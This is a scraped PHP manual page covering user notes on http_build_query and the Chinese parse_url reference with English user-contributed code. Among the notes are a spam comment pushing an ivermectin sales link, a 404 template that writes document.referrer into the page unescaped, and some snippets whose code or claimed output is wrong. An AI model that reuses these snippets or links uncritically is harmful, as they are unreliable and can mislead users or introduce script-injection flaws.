Correct implementation of coding the array of params without indexes (valdikks fixed code - didnt work for inner arrays):

<code>
function cr_post($a,$b='',$c=0)
        {
            if (!is_array($a)) return false;
            foreach ((array)$a as $k=>$v)
            {
                if ($c)
                {
                    if( is_numeric($k) )
                        $k=$b."[]";
                    else
                        $k=$b."[$k]";
                }
                else
                {   if (is_int($k))
                        $k=$b.$k;
                }

                if (is_array($v)||is_object($v))
                {
                    $r[]=cr_post($v,$k,1);
                        continue;
                }
                $r[]=urlencode($k)."=".urlencode($v);
            }
            return implode("&",$r);
        }
</code>
eric dot muyser at gmail dot com 01-Apr-2013 10:45
This function makes like this

files[0]=1&files[1]=2&...

To do it like this:

files[]=1&files[]=2&...

Do this:

        $query = http_build_query($query);
        $query = preg_replace('/%5B[0-9]+%5D/simU', '%5B%5D', $query);
stocki dot r at gmail dot com 01-Mar-2013 03:38
If you need only key+value pairs, you can use this:

<?php
    $array = array(
        "type" => "welcome",
        "message" => "Hello World!"
    );
    echo urldecode(http_build_query($array, '', ';'));
?>

Result: type=welcome;message=Hello World!
anonymous 19-Jul-2012 03:57
Is it worth noting that if query_data is an associative array and a value is itself an empty array, or an array of nothing but empty array (or arrays containing only empty arrays etc.), the corresponding key will not appear in the resulting query string?
E.g.

$post_data = array('name'=>'miller', 'address'=>array('address_lines'=>array()), 'age'=>23);
echo http_build_query($post_data);

will print
name=miller&age=23
Anonymous 08-Feb-2011 12:11
As noted before, with php5.3 the separator is &amp; on some servers it seems. Normally if posting to another php5.3 machine this will not be a problem.

But if you post to a tomcat java server or something else the &amp; might not be handled properly.

To overcome this specify:

http_build_query($array, '', '&');

and NOT

http_build_query($array); //gives &amp; to some servers
v0idnull[try_to_spam_me_now] at gee-mail dot co 11-Mar-2010 11:51
on my install of PHP 5.3, http_build_query() seems to use &amp; as the default separator. Kind of interesting when combined with stream_context_create() for a POST request, and getting $_POST['amp;fieldName'] on the receiving end.
irish [-@-] ytdj [-dot-] ca 21-Jan-2010 01:31
When using the http_build_query function to create a URL query from an array for use in something like curl_setopt($ch, CURLOPT_POSTFIELDS, $post_url), be careful about the url encoding.

In my case, I simply wanted to pass on the received $_POST data to a CURL's POST data, which requires it to be in the URL format.  If something like a space [ ] goes into the http_build_query, it comes out as a +. If you're then sending this off for POST again, you won't get the expected result.  This is good for GET but not POST.

Instead you can make your own simple function if you simply want to pass along the data:

<?php
$post_url = '';
foreach ($_POST AS $key=>$value)
    $post_url .= $key.'='.$value.'&';
$post_url = rtrim($post_url, '&');
?>

You can then use this to pass along POST data in CURL.

<?php
    $ch = curl_init($some_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_url);
    curl_exec($ch);
?>

Note that at the final page that processes the POST data, you should be properly filtering/escaping it.
netrox at aol dot com 26-Aug-2009 07:24
I noticed that even with the magic quotes disabled, http_build_query() automagically adds slashes to strings.

So, I had to add "stripslashes" to every string variable.
valdikss at gmail dot com 27-Aug-2007 01:15
This function is wrong for http!
arrays in http is like this:

files[]=1&files[]=2&...

but function makes like this

files[0]=1&files[1]=2&...

Here is normal function:

<?php
function cr_post($a,$b=\'\',$c=0){
if (!is_array($a)) return false;
foreach ((array)$a as $k=>$v){
if ($c) $k=$b.\"[]\"; elseif (is_int($k)) $k=$b.$k;
if (is_array($v)||is_object($v)) {$r[]=cr_post($v,$k,1);continue;}
$r[]=urlencode($k).\"=\".urlencode($v);}return implode(\"&\",$r);}
?>
Ilya Rudenko 09-Jan-2006 11:57
Params with null value do not present in result string.

<?php
$arr = array('test' => null, 'test2' => 1);
echo http_build_query($arr);
?>

will produce:

test2=1


解析 URL，返回其组成部分

  • ? http_build_query
  • rawurldecode ?
  • PHP Manual
  • URL 函数
  • 解析 URL，返回其组成部分

parse_url

(PHP 4, PHP 5, PHP 7, PHP 8)

parse_url — 解析 URL，返回其组成部分

说明

parse_url(string $url, int $component = -1): int|string|array|null|false

本函数解析 URL 并返回关联数组，包含在 URL 中出现的各种组成部分。数组的元素值不会 URL 解码。

本函数不是用来验证给定 URL 的有效性的，只是将其分解为下面列出的部分。也会接受不完整或无效的 URL，parse_url() 会尝试尽量正确解析。

参数

url

要解析的 URL。

component

指定 PHP_URL_SCHEME、PHP_URL_HOST、PHP_URL_PORT、PHP_URL_USER、PHP_URL_PASS、PHP_URL_PATH、PHP_URL_QUERY 或 PHP_URL_FRAGMENT 的其中一个来获取 URL 中指定的部分的 string。（当指定为 PHP_URL_PORT 时，返回值将是 int）。

返回值

对严重不合格的 URL，parse_url() 可能会返回 false。

如果省略了 component 参数，将返回关联数组 array。至少会有一个元素出现在数组中。数组中可能的键有以下几种：

  • scheme——如 http
  • host
  • port
  • user
  • pass
  • path
  • query——在问号 ? 之后
  • fragment——在注释符号 # 之后

如果指定 component 参数，parse_url() 返回 string （或在指定为 PHP_URL_PORT 时返回 int）而不是 array。如果 URL 中指定的组成部分不存在，将会返回 null。自 PHP 8.0.0 起，parse_url() 开始对 query 和 fragment 区分不存在和空值。

http://example.com/foo → query = null, fragment = null
http://example.com/foo? → query = "",   fragment = null
http://example.com/foo# → query = null, fragment = ""
http://example.com/foo?# → query = "",   fragment = ""

之前所有的情况都会导致 query 和 fragment 为 null。

注意组件中的控制字符（参见 ctype_cntrl()）替换为下划线（_）。

更新日志

版本 | 说明
8.0.0 | parse_url() 现在对 query 和 fragment 区分不存在和空值。

示例

Example #1 parse_url() 例子

<?php
$url = 'http://username:password@hostname:9090/path?arg=value#anchor';

var_dump(parse_url($url));
var_dump(parse_url($url, PHP_URL_SCHEME));
var_dump(parse_url($url, PHP_URL_USER));
var_dump(parse_url($url, PHP_URL_PASS));
var_dump(parse_url($url, PHP_URL_HOST));
var_dump(parse_url($url, PHP_URL_PORT));
var_dump(parse_url($url, PHP_URL_PATH));
var_dump(parse_url($url, PHP_URL_QUERY));
var_dump(parse_url($url, PHP_URL_FRAGMENT));
?>

以上示例会输出：

array(8) {
  ["scheme"]=>
  string(4) "http"
  ["host"]=>
  string(8) "hostname"
  ["port"]=>
  int(9090)
  ["user"]=>
  string(8) "username"
  ["pass"]=>
  string(8) "password"
  ["path"]=>
  string(5) "/path"
  ["query"]=>
  string(9) "arg=value"
  ["fragment"]=>
  string(6) "anchor"
}
string(4) "http"
string(8) "username"
string(8) "password"
string(8) "hostname"
int(9090)
string(5) "/path"
string(9) "arg=value"
string(6) "anchor"

Example #2 parse_url() 解析丢失协议的例子

<?php
$url = '//www.example.com/path?googleguy=googley';

// 在 5.4.7 之前这会输出路径 "//www.example.com/path"
var_dump(parse_url($url));
?>

以上示例会输出：

array(3) {
  ["host"]=>
  string(15) "www.example.com"
  ["path"]=>
  string(5) "/path"
  ["query"]=>
  string(17) "googleguy=googley"
}

注释

Caution

此函数可能无法对相对和无效 URL 提供正确的结果，结果甚至可能会跟常见的 HTTP 客户端行为不匹配。如果需要解析来自不受信任输入的 URL，则需要另外验证，例如，使用带 FILTER_VALIDATE_URL过滤器的 filter_var()。

Note:

parse_url() 是专门用来解析 URL 而不是 URI 的。不过为遵从 PHP 向后兼容的需要有个例外，对 file:// 协议允许三个斜线（file:///...）。其它任何协议都不能这样。

参见

  • pathinfo() - 返回文件路径的信息
  • parse_str() - 将字符串解析成多个变量
  • http_build_query() - 生成 URL-encode 之后的请求字符串
  • dirname() - 返回路径中的目录部分
  • basename() - 返回路径中的文件名部分
  • » RFC 3986

User Contributed Notes

JosephDor 06-May-2023 07:26
Hello!  <a href=https://stromectolxf.online/>ivermectin 24 mg</a> excellent website https://stromectolrf.top
pjpawel 19-Apr-2022 08:06
Unfortunately parse_url() DO NOT parse correctly urls without scheme or '//'. For example 'www.xyz.com' is consider as path not host:

Code:
<?php
var_dump(parse_url('www.xyz.com'));
?>
Output:
array(1) {
["path"]=>
string(10) "www.xyz.com"
}

To get better output change url to:
'//www.xyz.com' or 'http://www.xyz.com'
kibblewhite+php at live dot com 19-Feb-2021 06:11
This function 'parse_rebuild_url' will parse and reassemble your URL with new values provided by the 'overwrite_parsed_url_array' back together.
It is also possible to overwrite the URL components by key name and to merge or overwrite query parameters.
<?php

    $test_url = 'http://usr:pss@example.com:81/mypath/myfile.html?a=b&b[]=2&b[]=3&z=9#myfragment';

    $new_url_01_overwrite_query_params = parse_rebuild_url( $test_url, array(
        'host' => 'new-hostname.tld',
        'query' => array(
            'test' => 'Hello World',
            'a'    => array( 'c', 'd' ),
            'z'    => 8
        ),
        'fragment' => 'new-fragment-value'
    ), false );

    $new_url_02_mergewith_query_params = parse_rebuild_url( $test_url, array(
        'query' => array(
            'test' => 'Hello World',
            'a'    => array( 'c', 'd' ),
            'z'     => 8
        ),
        'fragment' => 'new-fragment-value'
    ), true );

    function parse_rebuild_url( $url, $overwrite_parsed_url_array, $merge_query_parameters = true ) {

        $parsed_url_array = parse_url( $url );
        $parsed_url_keys_array = array(
            'scheme'        => null,
            'abempty'       => isset( $parsed_url_array['scheme'] ) ? '://' : null,
            'user'          => null,
            'authcolon'     => isset( $parsed_url_array['pass'] ) ? ':' : null,
            'pass'          => null,
            'authat'        => isset( $parsed_url_array['user'] ) ? '@' : null,
            'host'          => null,
            'portcolon'     => isset( $parsed_url_array['port'] ) ? ':' : null,
            'port'          => null,
            'path'          => null,
            'param'         => isset( $parsed_url_array['query'] ) ? '?' : null,
            'query'         => null,
            'hash'          => isset( $parsed_url_array['fragment'] ) ? '#' : null,
            'fragment'      => null
        );

        if ( isset( $parsed_url_array['query'] ) && $merge_query_parameters === true ) {
            parse_str( $parsed_url_array['query'], $query_array );
            $overwrite_parsed_url_array['query'] = array_merge_recursive( $query_array, $overwrite_parsed_url_array['query'] );
        }

        $query_parameters = http_build_query( $overwrite_parsed_url_array['query'], null, '&', PHP_QUERY_RFC1738 );
        $overwrite_parsed_url_array['query'] = urldecode( preg_replace( '/%5B[0-9]+%5D/simU', '%5B%5D', $query_parameters ) );

        $fully_parsed_url_array = array_filter( array_merge( $parsed_url_keys_array, $parsed_url_array, $overwrite_parsed_url_array ) );
        return implode( null, $fully_parsed_url_array );

    }
vbrazas15 at gmail dot com 18-Feb-2021 01:10
My hamble improvements to the famouse `unparse_url` function by "thomas at gielfeldt dot com":

```php
    /**
     * @param array $parsedUrl -- result of the library `parse_url()` function
     *
     * @return string
     */
    function unparseUrl(array $parsedUrl): string
    {
        // PHP_URL_SCHEME
        $scheme = empty($parsedUrl[PHP_URL_SCHEME]) ? '' : (rtrim($parsedUrl['scheme'], ':/') . '://');

        $user = empty($parsedUrl[PHP_URL_USER]) ? '' : rtrim($parsedUrl['user'], '@:');
        $pass = empty($parsedUrl[PHP_URL_PASS]) ? '' : (':' . trim($parsedUrl['pass'], '@:'));

        $pass = !$user ? '' : ($pass . '@');

        $host = empty($parsedUrl[PHP_URL_HOST]) ? '' : rtrim($parsedUrl['host'], '/');
        $port = empty($parsedUrl[PHP_URL_PORT]) ? '' : (':' . (int)ltrim($parsedUrl['port'], ':'));
        $path = empty($parsedUrl[PHP_URL_PATH]) ? '' : ('/' . ltrim($parsedUrl['path'], '/'));

        $host = ($host && !$port && !$path) ? $parsedUrl['host'] : $host;
        $path = ($path && !$host && !$port) ? $parsedUrl['path'] : $path;

        $query = empty($parsedUrl[PHP_URL_QUERY]) ? '' : ('?' . ltrim($parsedUrl['query'], '?'));
        $fragment = empty($parsedUrl[PHP_URL_FRAGMENT]) ? '' : ('#' . ltrim($parsedUrl['fragment'], '#'));

        return "$scheme$user$pass$host$port$path$query$fragment";
    }
```
simbappo 15-Sep-2020 05:17
unset a query var from passed in or current URL:

function unsetqueryvar($var, $url=null) {
    if (null == $url) $url = $_SERVER['REQUEST_URI'];
    //mogrify to list
    $url = parse_url($url);
    $rq = [];
    parse_str($url['query'], $rq);
    unset($rq[$var]);
    return $url['scheme'].$url['host'].$url['path'].'?'.http_build_query($rq).$url['fragment'];
}
boctulus @ gmail co!m 27-Oct-2019 01:39
parse_url() does not parse some obvious errors so I made a complementary function

function url_check(string $url){
        $sym = null;

        $len = strlen($url);
        for ($i=0; $i<$len; $i++){
            if ($url[$i] == '?'){
                if ($sym == '?' || $sym == '&')
                    return false;

                $sym = '?';
            }elseif ($url[$i] == '&'){
                if ($sym === null)
                    return false;

                $sym = '&';
            }
        }
        return true;
    }
}
Michael 30-Jun-2019 06:52
There's a quirk where this function will return the host as the "path" if there is a leading space.

<?php

$url = ' https://foobar.com:80/mypath/myfile.php';

print_r(parse_url($url));
/*
Array
(
    [path] =>  https://foobar.com:80/mypath/myfile.php
)
*/

print_r(trim(parse_url($url)));
/*
Array
(
    [scheme] => https
    [host] => foobar.com
    [port] => 80
    [path] => /mypath/myfile.php
)
*/

?>
bramg dot net1 at gmail dot com 21-Sep-2018 10:07
this is my 404 error page is this ok  or it need improvements

<?php
/**
 * 404.php
 *
 * The template for displaying 404 pages (not found)
 *
 * @author    BetterStudio
 * @package   Publisher
 * @version   2.0.2
 */

get_header();

// Shows breadcrumb
if ( publisher_show_breadcrumb() ) {
    Better_Framework()->breadcrumb()->generate( array(
        'before'       => '<div class="container bf-breadcrumb-container">',
        'after'        => '</div>',
        'custom_class' => 'bc-top-style'
    ) );
}

?>
    <div class="content-wrap">
        <main <?php publisher_attr( 'content', '' ); ?>>

            <div class="container layout-1-col layout-no-sidebar">
                <div class="row main-section">

                    <div class="content-column content-404">

                        <div class="row first-row">

                            <div class="col-lg-12 text-404-section">
                                <p class="text-404 heading-typo">404</p>
                            </div>

                            <div class="col-lg-12 desc-section">
                                <h1 class="title-404"><?php publisher_translation_echo( '404_not_found' ); ?></h1>
                                <p><?php publisher_translation_echo( '404_not_found_message' ); ?></p>
                                <div class="action-links clearfix">

                                    <script type="text/javascript">
                                        if (document.referrer) {
                                            document.write('<div class="search-action-container"><a href="' + document.referrer + '"><i class="fa fa-angle-double-right"></i> <?php publisher_translation_echo( '404_go_previous_page' ); ?></a></div>');
                                        }
                                    </script>

                                    <div class="search-action-container">
                                        <a href="<?php echo esc_url( home_url( '/' ) ); ?>"><i
                                                    class="fa fa-angle-double-right"></i> <?php publisher_translation_echo( '404_go_homepage' ); ?>
                                        </a>
                                    </div>
                                </div>
                            </div>

                        </div><!-- .first-row -->

                        <div class="row second-row">
                            <div class="col-lg-12">
                                <div class="top-line">
                                    <?php get_search_form(); ?>
                                </div>
                            </div>
                        </div><!-- .second-row -->

                    </div><!-- .content-column -->

                </div><!-- .main-section -->
            </div> <!-- .layout-1-col -->

        </main><!-- main -->
    </div><!-- .content-wrap -->

<?php get_footer(); ?>

https://bramg.net
Anonymous 26-Feb-2018 12:33
Hello, for some odd reason, parse_url returns the host (ex. example.com) as the path when no scheme is provided in the input url. So I've written a quick function to get the real host:

<?php
function getHost($Address) {
   $parseUrl = parse_url(trim($Address));
   return trim($parseUrl[host] ? $parseUrl[host] : array_shift(explode('/', $parseUrl[path], 2)));
}

getHost("example.com"); // Gives example.com
getHost("http://example.com"); // Gives example.com
getHost("www.example.com"); // Gives www.example.com
getHost("http://example.com/xyz"); // Gives example.com
?>

You could try anything! It gives the host (including the subdomain if exists).

Hope it helped you.
https://vb.3dlat.com/
Anonymous 30-Dec-2017 07:47
This function will attempt to parse relative URLs but relaying on it can produce unexpected behavior that can cause some hard to track bugs. (The following results are obtained from PHP 5.5.19)

Attempting to parse a url like this
http://example.com/entities/GOA:98/?search=8989157d1f22
Correctly produces
<?php
array (
  'scheme' => 'http',
  'host' => 'example.com',
  'path' => '/entities/GOA:98/',
  'query' => 'search=8989157d1f22',
);
?>

However, Attempting to parse the relative URL
entities/GOA:98/?search=8989157d1f22
<?php
array (
  'host' => 'entities',
  'port' => 98,
  'path' => '/GOA:98/',
  'query' => 'search=8989157d1f22',
)
?>
If I change :98 to :A98 parse_url parses the URL correctly as
<?php
array (
  'path' => 'entities/GOA:A98/',
  'query' => 'search=8989157d1f22',
)
?>
Bottom line, Avoid using parse_url for relative urls unless you have tested the expected input and you know parse_url will handle them well.

https://forums.hawacastle.com/
Anonymous 03-Oct-2017 07:29
To get the params (url query) as Associative array, use this function:

<?php
/**
* Returns the url query as associative array
*
* @param    string    query
* @return    array    params
*/
function convertUrlQuery($query) {
    $queryParts = explode('&', $query);

    $params = array();
    foreach ($queryParts as $param) {
        $item = explode('=', $param);
        $params[$item[0]] = $item[1];
    }

    return $params;
}
?>
demerit 09-Aug-2017 12:06
There is a change in PHP 7 (I noticed it in 7.1 upgrading from 5.3) where if the password portion has an octothorpe (#) in it, parsing fails in 7.1, whereas it succeeds in 5.3.
zappascripts at gmail com 17-Jul-2017 01:30
Here's a simple class I made that makes use of this parse_url.
I needed a way for a page to retain get parameters but also edit or add onto them.
I also had some pages that needed the same GET paramaters so I also added a way to change the path.

<?php
class Paths{

    private $url;
    public function __construct($url){
        $this->url = parse_url($url);
    }

    public function returnUrl(){
        $return = $this->url['path'].'?'.$this->url['query'];
        $return = (substr($return,-1) == "&")? substr($return,0,-1) : $return;
        $this->resetQuery();
        return $return;
    }

    public function changePath($path){
        $this->url['path'] = $path;
    }

    public function editQuery($get,$value){
        $parts = explode("&",$this->url['query']);
        $return = "";
        foreach($parts as $p){
            $paramData = explode("=",$p);
            if($paramData[0] == $get){
                $paramData[1] = $value;
            }
            $return .= implode("=",$paramData).'&';

        }

        $this->url['query'] = $return;
    }

    public function addQuery($get,$value){
        $part = $get."=".$value;
        $and = ($this->url['query'] == "?") ? "" : "&";
        $this->url['query'] .= $and.$part;
    }

    public function checkQuery($get){
        $parts = explode("&",$this->url['query']);

            foreach($parts as $p){
                $paramData = explode("=",$p);
                if($paramData[0] == $get)
                    return true;
            }
            return false;

    }

    public function buildQuery($get,$value){
        if($this->checkQuery($get))
            $this->editQuery($get,$value);
        else
            $this->addQuery($get,$value);

    }

    public function resetQuery(){
        $this->url = parse_url($_SERVER['REQUEST_URI']);
    }

}
?>

Useage:

Test.php?foo=1:

<?php
$path = new Paths($_SERVER['REQUEST_URI']);
$path->changePath("/baz.php");
$path->buildQuery("foo",2);
$path->buildQuery("bar",3);
echo $path->returnUrl();
?>

returns: /baz.php?foo=2&bar=3

Hope this is of some use to someone!
mys5droid at gmail dot com 20-Mar-2016 12:30
I have coded a function which converts relative URL to absolute URL for a project of mine. Considering I could not find it elsewhere, I figured I would post it here.

The following function takes in 2 parameters, the first parameter is the URL you want to convert from relative to absolute, and the second parameter is a sample of the absolute URL.

Currently it does not resolve '../' in the URL, only because I do not need it. Most webservers will resolve this for you. If you want it to resolve the '../' in the path, it just takes minor modifications.

<?php

function relativeToAbsolute($inurl, $absolute) {
    // Get all parts so not getting them multiple times :)
    $absolute_parts = parse_url($absolute);
    // Test if URL is already absolute (contains host, or begins with '/')
    if ( (strpos($inurl, $absolute_parts['host']) == false) ) {
        // Define $tmpurlprefix to prevent errors below
        $tmpurlprefix = "";
        // Formulate URL prefix    (SCHEME)
        if (!(empty($absolute_parts['scheme']))) {
            // Add scheme to tmpurlprefix
            $tmpurlprefix .= $absolute_parts['scheme'] . "://";
        }
        // Formulate URL prefix (USER, PASS)
        if ((!(empty($absolute_parts['user']))) and (!(empty($absolute_parts['pass'])))) {
            // Add user:port to tmpurlprefix
            $tmpurlprefix .= $absolute_parts['user'] . ":" . $absolute_parts['pass'] . "@";
        }
        // Formulate URL prefix    (HOST, PORT)
        if (!(empty($absolute_parts['host']))) {
            // Add host to tmpurlprefix
            $tmpurlprefix .= $absolute_parts['host'];
            // Check for a port, add if exists
            if (!(empty($absolute_parts['port']))) {
                // Add port to tmpurlprefix
                $tmpurlprefix .= ":" . $absolute_parts['port'];
            }
        }
        // Formulate URL prefix    (PATH) and only add it if the path to image does not include ./
        if ( (!(empty($absolute_parts['path']))) and (substr($inurl, 0, 1) != '/') ) {
            // Get path parts
            $path_parts = pathinfo($absolute_parts['path']);
            // Add path to tmpurlprefix
            $tmpurlprefix .= $path_parts['dirname'];
            $tmpurlprefix .= "/";
        }
        else {
            $tmpurlprefix .= "/";
        }
        // Lets remove the '/'
        if (substr($inurl, 0, 1) == '/') { $inurl = substr($inurl, 1); }
        // Lets remove the './'
        if (substr($inurl, 0, 2) == './') { $inurl = substr($inurl, 2); }
        return $tmpurlprefix . $inurl;
    }
    else {
        // Path is already absolute. Return it :)
        return $inurl;
    }
}

// Define a sample absolute  URL
$absolute = "http://" . "user:pass@example.com:8080/path/to/index.html"; // Just evading php.net spam filter, not sure how example.com is spam...

/* EXAMPLE 1 */
echo relativeToAbsolute($absolute, $absolute) . "\n";
/* EXAMPLE 2 */
echo relativeToAbsolute("img.gif", $absolute) . "\n";
/* EXAMPLE 3 */
echo relativeToAbsolute("/img.gif", $absolute) . "\n";
/* EXAMPLE 4 */
echo relativeToAbsolute("./img.gif", $absolute) . "\n";
/* EXAMPLE 5 */
echo relativeToAbsolute("../img.gif", $absolute) . "\n";
/* EXAMPLE 6 */
echo relativeToAbsolute("images/img.gif", $absolute) . "\n";
/* EXAMPLE 7 */
echo relativeToAbsolute("/images/img.gif", $absolute) . "\n";
/* EXAMPLE 8 */
echo relativeToAbsolute("./images/img.gif", $absolute) . "\n";
/* EXAMPLE 9 */
echo relativeToAbsolute("../images/img.gif", $absolute) . "\n";

?>

OUTPUTS:
http :// user:pass@example.com:8080/path/to/index.html
http :// user:pass@example.com:8080/path/to/img.gif
http :// user:pass@example.com:8080/img.gif
http :// user:pass@example.com:8080/path/to/img.gif
http :// user:pass@example.com:8080/path/to/../img.gif
http :// user:pass@example.com:8080/path/to/images/img.gif
http :// user:pass@example.com:8080/images/img.gif
http :// user:pass@example.com:8080/path/to/images/img.gif
http :// user:pass@example.com:8080/path/to/../images/img.gif

Sorry if the above code is not your style, or if you see it as "messy" or you think there is a better way to do it. I removed as much of the white space as possible.

Improvements are welcome :)
Rob 21-Apr-2015 12:27
I've been working on a generic class that would make URI parsing / building a little easier.

The composer package is here: https://packagist.org/packages/enrise/urihelper

And the repository is here: https://github.com/Enrise/UriHelper

An example of the usage:

<?php
$uri = new \Enrise\Uri('http://usr:pss@example.com:81/mypath/myfile.html?a=b&b[]=2&b[]=3#myfragment');
echo $uri->getScheme(); // http
echo $uri->getUser(); // usr
echo $uri->getPass(); // pss
echo $uri->getHost(); // example.com
echo $uri->getPort(); // 81
echo $uri->getPath(); // /mypath/myfile.html
echo $uri->getQuery(); // a=b&b[]=2&b[]=3
echo $uri->getFragment(); // myfragment
echo $uri->isSchemeless(); // false
echo $uri->isRelative(); // false

$uri->setScheme('scheme:child:scheme.VALIDscheme123:');
$uri->setPort(null);

echo $uri->getUri(); //scheme:child:scheme.VALIDscheme123:usr:pss@example.com/mypath/myfile.html?a=b&b[]=2&b[]=3#myfragment
?>
jerome at chaman dot ca 16-Jan-2015 10:53
It may be worth reminding that the value of the #fragment never gets sent to the server.  Anchors processing is exclusively client-side.
admin at griefer1999 dot uhostfull dot com 06-Jan-2015 06:46
<?php
function url_parse($url){
$sflfdfldf=$url;
if(strpos($url,"?")>-1){
$a=explode("?",$url,2);
$url=$a[0];
$query=$a[1];
}
if(strpos($url,"://")>-1){
$scheme=substr($url,0,strpos($url,"//")-1);
$url=substr($url,strpos($url,"//")+2,strlen($url));
}
if(strpos($url,"/")>-1){
$a=explode("/",$url,2);
$url=$a[0];
$path="/".$a[1];
}
if(strpos($url,":")>-1){
$a=explode(":",$url,2);
$url=$a[0];
$port=$a[1];
}
$host=$url;
$url=null;
foreach(array("url","scheme","host","port","path","query") as $var){
if(!empty($$var)){
$return[$var]=$$var;
}
}
//return array("url"=>$sflfdfldf,"scheme"=>$scheme,"host"=>$host,"port"=>$port,"path"=>$path,"query"=>$query,"a"=>$url);
return $return;
}
?>

<?php
/* Compare two outputs */
//mine
print_r(url_parse("http://login.yahoo.com?.src=ym&.intl=gb&.lang=zh-Hans-HK&.done=https://mail.yahoo.com"));
//internal
print_r(parse_url("http://login.yahoo.com?.src=ym&.intl=gb&.lang=zh-Hans-HK&.done=https://mail.yahoo.com"));
?>
lauris () lauris ! lv 09-Apr-2014 08:49
Here is utf-8 compatible parse_url() replacement function based on "laszlo dot janszky at gmail dot com" work. Original incorrectly handled URLs with user:pass. Also made PHP 5.5 compatible (got rid of now deprecated regex /e modifier).

<?php

    /**
     * UTF-8 aware parse_url() replacement.
     *
     * @return array
     */
    function mb_parse_url($url)
    {
        $enc_url = preg_replace_callback(
            '%[^:/@?&=#]+%usD',
            function ($matches)
            {
                return urlencode($matches[0]);
            },
            $url
        );

        $parts = parse_url($enc_url);

        if($parts === false)
        {
            throw new \InvalidArgumentException('Malformed URL: ' . $url);
        }

        foreach($parts as $name => $value)
        {
            $parts[$name] = urldecode($value);
        }

        return $parts;
    }

?>
ivijan dot stefan at gmail dot com 26-Mar-2014 04:49
Here's a good way to using parse_url () gets the youtube link.
This function I used in many works:

<?php
function youtube($url, $width=560, $height=315, $fullscreen=true)
{
    parse_str( parse_url( $url, PHP_URL_QUERY ), $my_array_of_vars );
    $youtube= '<iframe allowtransparency="true" scrolling="no" width="'.$width.'" height="'.$height.'" src="//www.youtube.com/embed/'.$my_array_of_vars['v'].'" frameborder="0"'.($fullscreen?' allowfullscreen':NULL).'></iframe>';
    return $youtube;
}

// show youtube on my page
$url='http://www.youtube.com/watch?v=yvTd6XxgCBE';
 youtube($url, 560, 315, true);
?>

parse_url () allocates a unique youtube code and  put into iframe link and displayed on your page. The size of the videos choose yourself.

Enjoy.
utilmind 01-Jul-2013 12:06
parse_url doesn't works if the protocol doesn't specified. This seems like sandard, even the youtube doesn't gives the protocol name when generates code for embedding which have a look like "//youtube.com/etc".

So, to avoid bug, you must always check, whether the provided url has the protocol, and if not (starts with 2 slashes) -- add the "http:" prefix.
laszlo dot janszky at gmail dot com 24-May-2012 08:20
Created another parse_url utf-8 compatible function.
<?php
function mb_parse_url($url) {
    $encodedUrl = preg_replace('%[^:/?#&=\.]+%usDe', 'urlencode(\'$0\')', $url);
    $components = parse_url($encodedUrl);
    foreach ($components as &$component)
        $component = urldecode($component);
    return $components;
}
?>
therselman at gmail 28-Jan-2012 01:03
UTF-8 aware parse_url() replacement.

I've realized that even though UTF-8 characters are not allowed in URL's, I have to work with a lot of them and parse_url() will break.

Based largely on the work of "mallluhuct at gmail dot com", I added parse_url() compatible "named values" which makes the array values a lot easier to work with (instead of just numbers). I also implemented detection of port, username/password and a back-reference to better detect URL's like this: //en.wikipedia.com
... which, although is technically an invalid URL, it's used extensively on sites like wikipedia in the href of anchor tags where it's valid in browsers (one of the types of URL's you have to support when crawling pages). This will be accurately detected as the host name instead of "path" as in all other examples.

I will submit my complete function (instead of just the RegExp) which is an almost "drop-in" replacement for parse_url(). It returns a cleaned up array (or false) with values compatible with parse_url(). I could have told the preg_match() not to store the unused extra values, but it would complicate the RegExp and make it more difficult to read, understand and extend. The key to detecting UTF-8 characters is the use of the "u" parameter in preg_match().

<?php
function parse_utf8_url($url)
{
    static $keys = array('scheme'=>0,'user'=>0,'pass'=>0,'host'=>0,'port'=>0,'path'=>0,'query'=>0,'fragment'=>0);
    if (is_string($url) && preg_match(
            '~^((?P<scheme>[^:/?#]+):(//))?((\\3|//)?(?:(?P<user>[^:]+):(?P<pass>[^@]+)@)?(?P<host>[^/?:#]*))(:(?P<port>\\d+))?' .
            '(?P<path>[^?#]*)(\\?(?P<query>[^#]*))?(#(?P<fragment>.*))?~u', $url, $matches))
    {
        foreach ($matches as $key => $value)
            if (!isset($keys[$key]) || empty($value))
                unset($matches[$key]);
        return $matches;
    }
    return false;
}
?>

UTF-8 URL's can/should be "normalized" after extraction with this function.
thomas at gielfeldt dot com 02-Dec-2011 02:50
[If you haven't yet] been able to find a simple conversion back to string from a parsed url, here's an example:

<?php

$url = 'http://usr:pss@example.com:81/mypath/myfile.html?a=b&b[]=2&b[]=3#myfragment';
if ($url === unparse_url(parse_url($url))) {
  print "YES, they match!\n";
}

function unparse_url($parsed_url) {
  $scheme   = isset($parsed_url['scheme']) ? $parsed_url['scheme'] . '://' : '';
  $host     = isset($parsed_url['host']) ? $parsed_url['host'] : '';
  $port     = isset($parsed_url['port']) ? ':' . $parsed_url['port'] : '';
  $user     = isset($parsed_url['user']) ? $parsed_url['user'] : '';
  $pass     = isset($parsed_url['pass']) ? ':' . $parsed_url['pass']  : '';
  $pass     = ($user || $pass) ? "$pass@" : '';
  $path     = isset($parsed_url['path']) ? $parsed_url['path'] : '';
  $query    = isset($parsed_url['query']) ? '?' . $parsed_url['query'] : '';
  $fragment = isset($parsed_url['fragment']) ? '#' . $parsed_url['fragment'] : '';
  return "$scheme$user$pass$host$port$path$query$fragment";
}

?>
jesse at example dot com 25-Sep-2010 07:48
@ solenoid: Your code was very helpful, but it fails when the current URL has no query string (it appends '&' instead of '?' before the query).  Below is a fixed version that catches this edge case and corrects it.

<?php
function modify_url($mod)
{
    $url = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
    $query = explode("&", $_SERVER['QUERY_STRING']);
    if (!$_SERVER['QUERY_STRING']) {$queryStart = "?";} else {$queryStart = "&";}
    // modify/delete data
    foreach($query as $q)
    {
        list($key, $value) = explode("=", $q);
        if(array_key_exists($key, $mod))
        {
            if($mod[$key])
            {
                $url = preg_replace('/'.$key.'='.$value.'/', $key.'='.$mod[$key], $url);
            }
            else
            {
                $url = preg_replace('/&?'.$key.'='.$value.'/', '', $url);
            }
        }
    }
    // add new data
    foreach($mod as $key => $value)
    {
        if($value && !preg_match('/'.$key.'=/', $url))
        {
            $url .= $queryStart.$key.'='.$value;
        }
    }
    return $url;
}
?>
solenoid at example dot com 22-Apr-2010 04:05
Here's a piece of code that modifies, replaces or removes the url query. This can typically used in paging situations where there are more parameters than the page.

<?php
function modify_url($mod)
{
